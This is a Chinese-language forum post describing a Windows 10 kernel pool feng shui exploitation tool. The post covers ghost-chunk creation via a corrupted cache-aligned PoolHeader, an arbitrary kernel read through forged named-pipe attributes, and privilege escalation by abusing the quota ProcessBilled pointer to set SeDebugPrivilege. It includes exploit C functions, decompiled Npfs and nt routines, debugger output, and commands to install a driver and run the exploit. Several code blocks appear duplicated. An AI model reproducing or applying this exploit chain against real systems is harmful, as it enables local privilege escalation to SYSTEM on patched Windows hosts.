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[原创]Windows内核池风水利用工具研究
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发表于: 2023-8-8 10:17
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这篇文章的目的是介绍一种基于内核态内存的越界写入通用利用技术和相关工具复现.
笔者的在原作者池风水利用工具(以下简称工具)基础上进行二次开发,新增了全自动获取内核调试模块符号的偏移量及配置参数和不同漏洞利用方式优化等功能,
解决了不同Windows版本适配问题,工具包括适配驱动和利用程序两部分组成,实现了在Windows 10 19H1之后任意版本包括满补丁系统上的稳定利用.
自Windows 10 19H1开始，用户层段堆（Segment Heap）结构后端逻辑被用于内核层，主要分为低碎片化堆(Low-fragmentation Heap)与VS堆(Variable Sized Heap),这2种堆的分配与合并机制不在本文的讨论范围,具体可以参考相关引用链接.本文讨论的这个工具是基于一种缓存(Cache)对齐内核池优化利用技术,下面我们就来分析下这种技术.
对于所有的内核态内存堆分配通过ExAllocatePoolWithTag申请和ExFreePoolWithTag释放. 申请的结构指针都以PoolHeader作为头部,体现了当前分配堆的基本信息.通常使用!pool addr命令查看这些基本信息,也可以使用!poolused [Flags [TagString]] 或者!poolfind TagString [PoolType] 这2个命令可以用于查找指定Tag类型的pool信息,缺点是速度较慢.
当调用ExAllocatPoolWithTag时，如果PoolType有CacheAligned(Bit 3)位被设置，函数执行后返回的内存是与Cache对齐的。所分配的堆空间被2个PoolHeader描述,其中前一个PreviousSize为0,BlockSize为整个分配的实际池大小,后一个的PreviousSize为两个headers之间的偏移,而且这个PoolHeader的PoolType必须CacheAligned被置位,BlockSize和前一个相同.当释放后一个PoolHeader的内存时,系统会根据对齐的POOL_HEADER中使用PreviousSize字段寻找前一个PoolHeader也就是原始块并释放它指向的pool空间.工具正是利用的这个原理,通过自己实现的一个驱动越界写入当前漏洞块的下一个堆块(覆盖块)的PoolHeader,将CacheAligned置位,覆盖PreviousSize通过计算出前一个PoolHeader构造一个虚假的幽灵块(这个块的起始地址也在漏洞块的数据区域中),这个幽灵块的结束地址等于覆盖块结束地址.由于当系统认为覆盖块已经释放,覆盖块所占据的内存已被幽灵块覆盖,并且块上的所有引用都已经被删除,所以对接下来漏洞块和幽灵块重写和释放不产生影响.工具利用了一种称为pipe_attribute的利用技术,因为幽灵块所在内存的起始位置处在漏洞块可写在区域中,所以可以通过pipe_attribute结构来占位内存,给幽灵块伪造一个Fake_Pipe_Attribute,这个结构体的头部位于漏洞块,使pipe_attribute->list.Flink指向一个用户态内存的可控另一个用户态pipe_attribute结构,这样就能使用get_pipe_attribute读取这个pipe_attribute->AttributeValue指向的任意内核态指定大小地址的内存.我们来看下ida反汇编代码的具体实现.
内核态PipeStream命名管道驱动的具体实现位于Npfs.sys文件中,通过堆相关代码的逆向发现,调用FsControlCode函数操作码0x11003C,0x110038可以用于读取和写入pipe_attribute相关结构字段的属性,其中AttributeName和AttributeValue类似于一种键值对的字典数据结构,在写入attribute过程中,命名管道驱动通过ExAllocatePoolWithTag申请输入缓冲区大小加上pipe_attribute头部大小内存保存于返回pipe_attribute结构体指针,并拷贝缓冲区输入数据至pipe_attribute->data,当AttributeName大小小于8时AttributeName直接保存在此字段中,如果大于8则计算AttributeName结束与'\0'字符串结尾位置作为AttributeValue的起始地址,用得出的申请Pool相对地址(也就是相对于pipe_attribute结构体指针地址)偏移量保存于AttributeName和AttributeValue这2个指针中.NpSetAttribute逆向结果显示当调用输入缓冲区AttributeValue长度为0时,系统会循环遍历attribute->list.Flink链表节点,链表的每个节点也都是一个pipe_attribute结构,如果目标链表AttributeName与要找的输入缓冲区AttributeName相同,就调用ExFreePoolWithTag释放这个链表对应的内存,对于读取attribute,也同样是遍历链表判断是否与AttributeName相同,如果是就拷贝AttributeValue指向的内存至输出缓冲区.由于命名管道驱动并不提供写入AttributeValue指向内存地址数据的功能,所以我们只能得到一个任意读的原语.
攻击利用堆溢出来覆盖已分配的幽灵块的POOL_HEADER中的ProcessBilled指针，当块被释放时，如果pool的PoolType包含PoolQuota（0x8）标志位，那么ProcessBilled字段存储的指针将被用于解引用一个值。这个值通过和ExpPoolQuotaCookie异或解引用后是一个EPROCESS指针,EPROCESS的QuotaBlock字段也是一个指针最终它指向的值会被递减一个指定值也就是当前pool的大小。如果将EPROCESS其中的QuotaBlock字段保存了指向了当前进程的Token的Enabled和Present这2个字段的地址,那么递减后SeDebugPrivilege特权位将被设置,这足以从用户态实现权限提升,下面我们来逆向下具体实现。
下面我们通过具体的调试输出验证下漏洞运行的实际结果.笔者使用了0x180的分页内存区域pool大小,在覆盖块被覆盖之前pool布局
覆盖块被之后覆盖,此时覆盖块已经不能被系统正常识别,它的POOL_HEADER中使用PreviousSize被设置为0x15,并且CacheAligned置位,覆盖块的地址ffffad09df3f8bd0-(0x15*0x10)=ffffad09`df3f8a80也就是就是接下来要伪造的幽灵块,
就是接下来要伪造的幽灵块在漏洞块+0x30的位置,使用一个pipe_attribute结构体占位,pipe_attribute->ValueSize=0x1d6+ATTRIBUTE_NAME_LEN加上sizeof(pipe_attribute)也正好是幽灵块的大小0x210
由于我们获得了可控pipe_attribute结构体内容的幽灵块和可覆盖pipe_attribute结构体内所在内存的起始位置数据的漏洞块,通过读取这片泄露的内存,就可以计算出幽灵块的真实地址和一个泄露正常的pipe_attribute结构体.
公式如下:
xploit->ghost_chunk=pipe_attribute->AttributeName-sizeof(pipe_attribute)-sizeof(_pool_header)是ffffad09df3f8ab8-0x28-0x10=ffffad09df3f8a80.
效果如图:
接下来重写漏洞块给幽灵块伪造一个Fake_Pipe_Attribute,使pipe_attribute->list.Flink指向一个用户态内存的可控另一个用户态pipe_attribute结构,就能使用get_pipe_attribute读取fake_pipe_attribute->AttributeValue指向的任意内核态指定大小地址的内存.
作者使用任意读的原语实现了一个很巧妙的方式获取nt模块的基址,这些符号在不同的不同windows版本存在差异(笔者实现了解决方法),具体为如下方式
通过调试发现,函数Npfs!NpSetAttributeInList在执行过程中它的第一个参数rcx=ffffad09df8c7ad0如果为一个正常pipe_attribute结构体指针,那么它就和当前irp请求的file_object->FsContext2中的这个字段存在一定关系,接下来验证这个结果
可见 xploit->leak_root_attribute -ROOT_PIPE_ATTRIBUTE_OFFSET+FILE_OBJECT_OFFSET处存放的就是当前file_object指针,顺着这个思路可以得到NpFsdCreate
通过Npfs!NpFsdCreate计算出NpFs.sys模块的基址,获取Npfs!_imp_ExAllocatePoolWithTag的内部实现(具体可以参考PE导入表结构)指向nt!ExAllocatePoolWithTag指针,减去他的偏移最后就得到了nt模块的基址,笔者同时增加了另一种方式验证,加强程序的稳定性,获得这个基址的方法具体参考工具源码.
伪造一个内核态PROCESS结构体指针,除了通过pipe_attribute结构体占位和获取leak_root_queue相对偏移量得到它的实际指针地址之外,还可以通过一种叫bigpool的技术实现,这种技术可以分配任意大小的非分页内存可控数据并获得申请的地址,通过nt模块的内部调用SetThreadNameInformation实现,参数为一个UNICODE_STRING结构体,笔者已经将这种技术集成进了工具
在幽灵块是poolheader->ProcessBilled放置了一个伪造的PROCESS结构体指针,可以看到在PspReturnQuota函数中根据异或ExpPoolQuotaCookie解引用了这个PROCESS指针,如果将EPROCESS其中的QuotaBlock字段保存了指向了当前进程的Token的Enabled和Present这2个字段的地址(需要调用2次),就能在_InterlockedCompareExchange这里将Enabled和Present值分别减去valueThunckSize也就是pool分配的大小0x210
通过调试可以看到token的Enabled和Present字段被减去了指定值导致SeDebugPrivilege特权位被设置.接下来就是注入winlogon进行和执行shellcode了,由于shellcode存在注入会话的冲突问题(多用户登录情况),笔者添加了一种基于父进程句柄创建进程的提权技术用于优化,具体可以参考相关文章.
下面是工具的具体使用方法
//安装驱动,需要管理员运行
sc create mydriver binpath=C:\dl\poolqudong.sys type=kernel start=demand error=ignore
//启动驱动
sc start mydriver&&sc query mydriver
//启动漏洞利用工具
poolfs.exe
//测试不同的pool类型
poolfs.exe 180 1
笔者的工具实现了全自动获取内核调试模块符号的偏移量,获取工具漏洞利用的所需信息,解决了不同windows版本适配问题,降低了蓝屏几率,提高了漏洞利用成功率,下面是在最新满补丁Windows 10 21h1上的运行结果.
Exploiting a Windows 10 PagedPool
Sheep Year Kernel Heap Fengshui
Corentin Bayet. Exploit of CVE-2017-6008 with Quota Process Pointer Overwrite attack
Cesar Cerrudo Tricks to easily elevate its privileges
Matt Conover and w00w00 Security Development. w00w00 on Heap Overflows
作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com
typedef struct { char previousSize;
char poolIndex;
char blockSize;
char poolType;
int tag;
void* processBilled;
}PoolHeader;//poolType对应的所有pool类型,具体区别参考相关内核书籍
NonPagedPool = 0
PagedPool = 1
NonPagedPoolMustSucceed = 2
DontUseThisType = 3
NonPagedPoolCacheAligned = 4
PagedPoolCacheAligned = 5
NonPagedPoolCacheAlignedMustSucceed = 6
MaxPoolType = 7
PoolQuota = 8
NonPagedPoolSession = 20h
PagedPoolSession = 21h
NonPagedPoolMustSucceedSession = 22h
DontUseThisTypeSession = 23h
NonPagedPoolCacheAlignedSession = 24h
PagedPoolCacheAlignedSession = 25h
NonPagedPoolCacheAlignedMustSSession = 26h
NonPagedPoolNx = 200h
NonPagedPoolNxCacheAligned = 204h
NonPagedPoolSessionNx = 220h
typedef struct { char previousSize;
char poolIndex;
char blockSize;
char poolType;
int tag;
void* processBilled;
}PoolHeader;//poolType对应的所有pool类型,具体区别参考相关内核书籍
NonPagedPool = 0
PagedPool = 1
NonPagedPoolMustSucceed = 2
DontUseThisType = 3
NonPagedPoolCacheAligned = 4
PagedPoolCacheAligned = 5
NonPagedPoolCacheAlignedMustSucceed = 6
MaxPoolType = 7
PoolQuota = 8
NonPagedPoolSession = 20h
PagedPoolSession = 21h
NonPagedPoolMustSucceedSession = 22h
DontUseThisTypeSession = 23h
NonPagedPoolCacheAlignedSession = 24h
PagedPoolCacheAlignedSession = 25h
NonPagedPoolCacheAlignedMustSSession = 26h
NonPagedPoolNx = 200h
NonPagedPoolNxCacheAligned = 204h
NonPagedPoolSessionNx = 220h
struct pipe_attribute{ LIST_ENTRY list;
char *AttributeName;
__int64 ValueSize;
char *AttributeValue;
char data[1];
};//任意读内核态内存
void pp_exploit_arbitrary_read(xploit_t * xploit, uintptr_t where, char * out, size_t size)
{ xploit->fake_pipe_attribute->ValueSize = ask_size;
xploit->fake_pipe_attribute->AttributeValue = (char *)where;
if (!get_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], arb_read, 0x1000))
{
fprintf(stderr, "[-] Failed to set pipe attribute !");
exit(0);
}
memcpy(out, arb_read, size);
}void pipe_init(PIPES* pipes) {
if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) {
printf("createPipe fail\n");
return 1;
}
return 0;
}// 写入PipeAttribution
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) {
size_t length = strlen(name);
memcpy(tmp_buffer, name, length + 1);
memcpy(tmp_buffer + length + 1, value, total_size - length - 1);
IO_STATUS_BLOCK statusblock;
char output[0x100];
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x11003C, tmp_buffer, total_size,
output, sizeof(output));
if (!NT_SUCCESS(mystatus)) {
printf("pipe_write_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}// 读取PipeAttribution
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) {
IO_STATUS_BLOCK statusblock;
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x110038, name,strlen(name)+1,
output, size);
if (!NT_SUCCESS(mystatus)) {
printf("pipe_read_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}struct pipe_attribute{ LIST_ENTRY list;
char *AttributeName;
__int64 ValueSize;
char *AttributeValue;
char data[1];
};//任意读内核态内存
void pp_exploit_arbitrary_read(xploit_t * xploit, uintptr_t where, char * out, size_t size)
{ xploit->fake_pipe_attribute->ValueSize = ask_size;
xploit->fake_pipe_attribute->AttributeValue = (char *)where;
if (!get_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], arb_read, 0x1000))
{
fprintf(stderr, "[-] Failed to set pipe attribute !");
exit(0);
}
memcpy(out, arb_read, size);
}void pipe_init(PIPES* pipes) {
if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) {
printf("createPipe fail\n");
return 1;
}
return 0;
}// 写入PipeAttribution
int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) {
size_t length = strlen(name);
memcpy(tmp_buffer, name, length + 1);
memcpy(tmp_buffer + length + 1, value, total_size - length - 1);
IO_STATUS_BLOCK statusblock;
char output[0x100];
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x11003C, tmp_buffer, total_size,
output, sizeof(output));
if (!NT_SUCCESS(mystatus)) {
printf("pipe_write_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}// 读取PipeAttribution
int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) {
IO_STATUS_BLOCK statusblock;
int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
&statusblock, 0x110038, name,strlen(name)+1,
output, size);
if (!NT_SUCCESS(mystatus)) {
printf("pipe_read_attr fail 0x%x\n", mystatus);
return 1;
}
return 0;
}//FsControlCode是0x11003C是参数2等于2
signed __int64 __fastcall NpSetAttribute(pipe_attribute *attr, int value2){
int attrNameEnd,attrnamebufstart=0;
_BYTE * attrnamebufstart = attr->bufstart;
do
{
if ( !*attrnamebufstart )
break;
++attrNameEnd;
++attrnamebufstart;
}
while ( attrNameEnd < bufend );
//先计算ATTRIBUTE_NAME位置接下来数据都是ATTRIBUTE_VALUE
int attrValuestart = attrNameEnd + 1;
if ( attrValuestart >= bufend )
{
int attrValueBuf = 0;
int AttrValueSize = 0;
}
else
{
_BYTE * attrValueBuf = &bufstart[attrValuestart];
int AttrValueSize = bufend - attrValuestart;
}
pipe_attribute *pa = *(_QWORD *)((pipe_attribute *)(attr->bufend_ptr->real_buf->ret_buf & 0xFFFFFFFFFFFFFFFCui64))->data + 0x10 * ((unsigned int)(attr->bufend_ptr->real_buf->ret_buf >> 1) & 1 + 0x14));
if ( attrValueBuf )
{
NpSetAttributeInList(pa, 0, bufstart, attrValueBuf, AttrValueSize);
}
else
{
NpRemoveAttributeFromList(pa, bufstart);
}
}//bufstart就是用户层缓冲区起始地址
signed __int64 __fastcall NpSetAttributeInList(pipe_attribute *pa, _QWORD *zero, _BYTE *buf, const void *attrValueBuf, size_t attrValueSize)
{ int AttributeNameLen =stlen(buf);
int attrValuestartlen=AttributeNameLen+1;
int allocsize=attrValuestartlen+attrValueSize;
!poolused tApN
pipe_attribute * paret = ExAllocatePoolWithTag(PagedPool, allocsize, 'tApN');
if ( (unsigned __int64)bufRef <= 7 )
{
//
paret->AttributeName = bufRef;
}
else
{
paret->AttributeName = paret->data;
memmove(paret->data, bufRef, attrValuestartlen);
}
if ( attrValueSize <= 8 )
{
attrValueAddr = (char *)&paret->AttributeValue;
}
else
{
attrValueAddr = &paret->data[attrValuestartlen];
paret->AttributeValue = attrValueAddr;
}
memmove(attrValueAddr, attrValueBufRef, attrValueSize);
paret->ValueSize = attrValueSize;
//保存pa结构体到Flink
pa->Flink = &paret->list.Flink;
}//释放pa结构体的Flink指向的链表
signed __int64 __fastcall NpRemoveAttributeFromList(pipe_attribute *pa, __int64 bufstart)
{ pipe_attribute *next = (pipe_attribute *)pa->list.Flink;
while(true)
{
_BYTE * AttributeNameBuf = next->AttributeName;
int AttributeNameLen = bufstart - AttributeNameBuf;
do
{
// 就是比较用户层buf和attrname是不是一样,不一样就找链表下一个,相当于遍历字典结构
_BYTE buflookup = (unsigned __int8)AttributeNameBuf[AttributeNameLen];
BOOL NotZero = (unsigned __int8)*AttributeNameBuf - buflookup;
if ( (unsigned __int8)*AttributeNameBuf != buflookup )
break;
++AttributeNameBuf;
}
while ( buflookup );
if ( NotZero )
break;
next = (pipe_attribute *)next->list.Flink;
}//判断要释放的链表是否为中间链表
if ( (pipe_attribute *)nextnext->Blink != next || (back = next->list.Blink, (pipe_attribute *)back->Flink != next) )
__fastfail(3u);
back->Flink = nextnext;
nextnext->Blink = back;
ExFreePoolWithTag(next, 0);
return 0i64;
}//FsControlCode是0x110038是参数2也等于2
signed __int64 __fastcall NpGetAttribute(PipeAttr *attr, int value2)
{ pipe_attribute *pa = *(_QWORD *)((pipe_attribute *)(attr->bufend_ptr->real_buf->ret_buf & 0xFFFFFFFFFFFFFFFCui64))->data + 0x10 * ((unsigned int)(attr->bufend_ptr->real_buf->ret_buf >> 1) & 1 + 0x14));
//读取的地址指向pa->AttributeValue大小是pa->ValueSize
hr = NpGetAttributeFromList(pa, (unsigned __int64)bufstart, &Src, &Size);
memmove(bufstart, Src, Size);
}//bufstart就是用户层缓冲区起始地址
signed __int64 __fastcall NpGetAttributeFromList(pipe_attribute *pa, unsigned __int64 bufstart, _QWORD *srcToCopy, _QWORD *size)
{ pipe_attribute * that = pa->list.Flink;
while ( (unsigned __int64)buf < 7 )
{
if ( that->AttributeName == buf )
goto copyBuf;
next_pipe: that = (pipe_attribute *)that->list.Flink;
if ( that == paref )
return 0xC0000225i64;
//可以是用户层的地址
_BYTE * AttributeNameBuf = that->AttributeName;
int AttributeNameLen = buf - AttributeNameBuf;
do
{
// 就是比较用户层buf和attrname是不是一样,不一样就找链表下一个,相当于遍历字典结构
_BYTE buflookup = (unsigned __int8)AttributeNameBuf[AttributeNameLen];
BOOL NotZero = (unsigned __int8)*AttributeNameBuf - buflookup;
if ( (unsigned __int8)*AttributeNameBuf != buflookup )
break;
++AttributeNameBuf;
}
while ( buflookup );
if ( NotZero )
goto next_pipe;
}
copyBuf:
if ( that->ValueSize > 8ui64 )
*srcToCopy = (char **)*AttributeValue;
*srcToCopy =that->AttributeValue;
*size = that->ValueSize;
return 0i64;
}//FsControlCode是0x11003C是参数2等于2
signed __int64 __fastcall NpSetAttribute(pipe_attribute *attr, int value2){
int attrNameEnd,attrnamebufstart=0;
_BYTE * attrnamebufstart = attr->bufstart;
do
{
if ( !*attrnamebufstart )
break;
++attrNameEnd;
++attrnamebufstart;
}
while ( attrNameEnd < bufend );
//先计算ATTRIBUTE_NAME位置接下来数据都是ATTRIBUTE_VALUE
int attrValuestart = attrNameEnd + 1;
if ( attrValuestart >= bufend )
{
int attrValueBuf = 0;
int AttrValueSize = 0;
}
else
{
_BYTE * attrValueBuf = &bufstart[attrValuestart];
int AttrValueSize = bufend - attrValuestart;
}
pipe_attribute *pa = *(_QWORD *)((pipe_attribute *)(attr->bufend_ptr->real_buf->ret_buf & 0xFFFFFFFFFFFFFFFCui64))->data + 0x10 * ((unsigned int)(attr->bufend_ptr->real_buf->ret_buf >> 1) & 1 + 0x14));
if ( attrValueBuf )
{
NpSetAttributeInList(pa, 0, bufstart, attrValueBuf, AttrValueSize);
}
else
{
NpRemoveAttributeFromList(pa, bufstart);
}
}//bufstart就是用户层缓冲区起始地址
signed __int64 __fastcall NpSetAttributeInList(pipe_attribute *pa, _QWORD *zero, _BYTE *buf, const void *attrValueBuf, size_t attrValueSize)
{ int AttributeNameLen =stlen(buf);
int attrValuestartlen=AttributeNameLen+1;
int allocsize=attrValuestartlen+attrValueSize;
!poolused tApN
pipe_attribute * paret = ExAllocatePoolWithTag(PagedPool, allocsize, 'tApN');
if ( (unsigned __int64)bufRef <= 7 )
{
//
paret->AttributeName = bufRef;
}
else
{
paret->AttributeName = paret->data;
memmove(paret->data, bufRef, attrValuestartlen);
}
if ( attrValueSize <= 8 )
{
attrValueAddr = (char *)&paret->AttributeValue;
}
else
{
attrValueAddr = &paret->data[attrValuestartlen];
paret->AttributeValue = attrValueAddr;
}
memmove(attrValueAddr, attrValueBufRef, attrValueSize);
paret->ValueSize = attrValueSize;
//保存pa结构体到Flink
pa->Flink = &paret->list.Flink;
}//释放pa结构体的Flink指向的链表
signed __int64 __fastcall NpRemoveAttributeFromList(pipe_attribute *pa, __int64 bufstart)
{ pipe_attribute *next = (pipe_attribute *)pa->list.Flink;
while(true)
{
_BYTE * AttributeNameBuf = next->AttributeName;
int AttributeNameLen = bufstart - AttributeNameBuf;
do
{
// 就是比较用户层buf和attrname是不是一样,不一样就找链表下一个,相当于遍历字典结构
_BYTE buflookup = (unsigned __int8)AttributeNameBuf[AttributeNameLen];
BOOL NotZero = (unsigned __int8)*AttributeNameBuf - buflookup;
if ( (unsigned __int8)*AttributeNameBuf != buflookup )
break;
++AttributeNameBuf;
}
while ( buflookup );
if ( NotZero )
break;
next = (pipe_attribute *)next->list.Flink;
}//判断要释放的链表是否为中间链表
if ( (pipe_attribute *)nextnext->Blink != next || (back = next->list.Blink, (pipe_attribute *)back->Flink != next) )
__fastfail(3u);
back->Flink = nextnext;
nextnext->Blink = back;
ExFreePoolWithTag(next, 0);
return 0i64;
}//FsControlCode是0x110038是参数2也等于2
signed __int64 __fastcall NpGetAttribute(PipeAttr *attr, int value2)
{ pipe_attribute *pa = *(_QWORD *)((pipe_attribute *)(attr->bufend_ptr->real_buf->ret_buf & 0xFFFFFFFFFFFFFFFCui64))->data + 0x10 * ((unsigned int)(attr->bufend_ptr->real_buf->ret_buf >> 1) & 1 + 0x14));
//读取的地址指向pa->AttributeValue大小是pa->ValueSize
hr = NpGetAttributeFromList(pa, (unsigned __int64)bufstart, &Src, &Size);
memmove(bufstart, Src, Size);
}//bufstart就是用户层缓冲区起始地址
signed __int64 __fastcall NpGetAttributeFromList(pipe_attribute *pa, unsigned __int64 bufstart, _QWORD *srcToCopy, _QWORD *size)
{ pipe_attribute * that = pa->list.Flink;
while ( (unsigned __int64)buf < 7 )
{
if ( that->AttributeName == buf )
goto copyBuf;
next_pipe: that = (pipe_attribute *)that->list.Flink;
if ( that == paref )
return 0xC0000225i64;
//可以是用户层的地址
_BYTE * AttributeNameBuf = that->AttributeName;
int AttributeNameLen = buf - AttributeNameBuf;
do
{
// 就是比较用户层buf和attrname是不是一样,不一样就找链表下一个,相当于遍历字典结构
_BYTE buflookup = (unsigned __int8)AttributeNameBuf[AttributeNameLen];
BOOL NotZero = (unsigned __int8)*AttributeNameBuf - buflookup;
if ( (unsigned __int8)*AttributeNameBuf != buflookup )
break;
++AttributeNameBuf;
}
while ( buflookup );
if ( NotZero )
goto next_pipe;
}
copyBuf:
if ( that->ValueSize > 8ui64 )
*srcToCopy = (char **)*AttributeValue;
*srcToCopy =that->AttributeValue;
*size = that->ValueSize;
return 0i64;
}__int64 __fastcall ExFreeHeapPool(ULONG_PTR poolheader){ int PoolTag = poolheader->PoolTag;
//PoolType包含PoolQuota（0x8）标志位
if ( PoolTag & 8 )
{
PEPROCESS proc = (PEPROCESS)((unsigned __int64)poolheader ^ ExpPoolQuotaCookie ^ (_QWORD)poolheader->ProcessBilled);
//0x568就是EPROCESS的QuotaBlock字段偏移量
PspReturnQuota(
*(char **)(((unsigned __int64)poolheader ^ ExpPoolQuotaCookie ^ (_QWORD)poolheader->ProcessBilled) + 0x568),
(unsigned __int64)poolheader ^ ExpPoolQuotaCookie ^ (_QWORD)poolheader->ProcessBilled,
v9 & 1,
16i64 * (unsigned __int8)*((_WORD *)&poolheader->0 + 1));
}//valueThunckSize就是pool分配的大小,调试获取的值是0x210,目的的递减进程配额Quota大小减去ChunkSize
unsigned __int64 __fastcall PspReturnQuota(char *QuotaBlock, ULONG_PTR proc, int value8and0, ULONG_PTR valueThunckSize)
{_QWORD _RDI_Token_EnabledPresent_Ptr = *(_QWORD *)&QuotaBlock[v6];
_QWORD Token_EnabledPresent_Value = *(_QWORD *)&QuotaBlock[v6];
while ( 1 )
{
do
{
//如果ChunkSize大于进程配额Quota,直接置零,否则减去ChunkSize
if ( valueThunckSizeRef >= Token_EnabledPresent_Value )
{
lookupValue = Token_EnabledPresent_Value;
QWORD Deleta = 0i64;
}
else
{
lookupValue = valueThunckSize;
QWORD Deleta = Token_EnabledPresent_Value - valueThunckSize;
}
// 如果地址_RDI_Token_EnabledPresent_Ptr指向值等于Token_EnabledPresent_Value修改指向值为Deleta,也就说递减valueThunckSize
result = _InterlockedCompareExchange(_RDI_Token_EnabledPresent_Ptr, Deleta, Token_EnabledPresent_Value);
equal = Token_EnabledPresent_Value == result;
Token_EnabledPresent_Value = result;
}
while ( !equal );
}__int64 __fastcall ExFreeHeapPool(ULONG_PTR poolheader){ int PoolTag = poolheader->PoolTag;
//PoolType包含PoolQuota（0x8）标志位
if ( PoolTag & 8 )
{
PEPROCESS proc = (PEPROCESS)((unsigned __int64)poolheader ^ ExpPoolQuotaCookie ^ (_QWORD)poolheader->ProcessBilled);
//0x568就是EPROCESS的QuotaBlock字段偏移量
PspReturnQuota(
*(char **)(((unsigned __int64)poolheader ^ ExpPoolQuotaCookie ^ (_QWORD)poolheader->ProcessBilled) + 0x568),
(unsigned __int64)poolheader ^ ExpPoolQuotaCookie ^ (_QWORD)poolheader->ProcessBilled,
v9 & 1,
16i64 * (unsigned __int8)*((_WORD *)&poolheader->0 + 1));
}//valueThunckSize就是pool分配的大小,调试获取的值是0x210,目的的递减进程配额Quota大小减去ChunkSize
unsigned __int64 __fastcall PspReturnQuota(char *QuotaBlock, ULONG_PTR proc, int value8and0, ULONG_PTR valueThunckSize)
{_QWORD _RDI_Token_EnabledPresent_Ptr = *(_QWORD *)&QuotaBlock[v6];
_QWORD Token_EnabledPresent_Value = *(_QWORD *)&QuotaBlock[v6];
while ( 1 )
{
do
{
//如果ChunkSize大于进程配额Quota,直接置零,否则减去ChunkSize
if ( valueThunckSizeRef >= Token_EnabledPresent_Value )
{
lookupValue = Token_EnabledPresent_Value;
QWORD Deleta = 0i64;
}
else
{
lookupValue = valueThunckSize;
QWORD Deleta = Token_EnabledPresent_Value - valueThunckSize;
}
// 如果地址_RDI_Token_EnabledPresent_Ptr指向值等于Token_EnabledPresent_Value修改指向值为Deleta,也就说递减valueThunckSize
result = _InterlockedCompareExchange(_RDI_Token_EnabledPresent_Ptr, Deleta, Token_EnabledPresent_Value);
equal = Token_EnabledPresent_Value == result;
Token_EnabledPresent_Value = result;
}
while ( !equal );
}sxe ld:poolqudong.sys "bp poolqudong!CommandCopy"
//g_Buffer 指针指向的就是漏洞块的地址ffffad09`df3f8a40
1: kd> !pool poi(g_Buffer)-10; //ffffad09df3f8a40
DBGHELP: SharedUserData - virtual symbol module
Pool page ffffad09df3f8a40 region is Paged pool
ffffad09df3f80e0 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8270 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8400 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8590 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8720 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f88b0 size: 190 previous size: 0 (Allocated) NpAt
*ffffad09df3f8a40 size: 190 previous size: 0 (Allocated) *VULN
Owning component : Unknown (update pooltag.txt)
//下个就是覆盖块
ffffad09df3f8bd0 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8d60 size: 190 previous size: 0 (Allocated) NpAt
//poi(g_Buffer)+180就是ffffad09df3f8bd0
1: kd> dt nt!_pool_header poi(g_Buffer)+180;
+0x000 PreviousSize : 0y00000000 (0)
+0x000 PoolIndex : 0y00000000 (0)
//漏洞块大小是190
+0x002 BlockSize : 0y00011001 (0x19)
+0x002 PoolType : 0y00000011 (0x3)
+0x000 Ulong1 : 0x3190000
+0x004 PoolTag : 0x7441704e
+0x008 ProcessBilled : (null)
+0x008 AllocatorBackTraceIndex : 0
+0x00a PoolTagHash : 0
sxe ld:poolqudong.sys "bp poolqudong!CommandCopy"
//g_Buffer 指针指向的就是漏洞块的地址ffffad09`df3f8a40
1: kd> !pool poi(g_Buffer)-10; //ffffad09df3f8a40
DBGHELP: SharedUserData - virtual symbol module
Pool page ffffad09df3f8a40 region is Paged pool
ffffad09df3f80e0 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8270 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8400 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8590 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8720 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f88b0 size: 190 previous size: 0 (Allocated) NpAt
*ffffad09df3f8a40 size: 190 previous size: 0 (Allocated) *VULN
Owning component : Unknown (update pooltag.txt)
//下个就是覆盖块
ffffad09df3f8bd0 size: 190 previous size: 0 (Allocated) NpAt
ffffad09df3f8d60 size: 190 previous size: 0 (Allocated) NpAt
//poi(g_Buffer)+180就是ffffad09df3f8bd0
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没有gitee 号啊，大神能不能把文件上传到看雪论坛呢？ |
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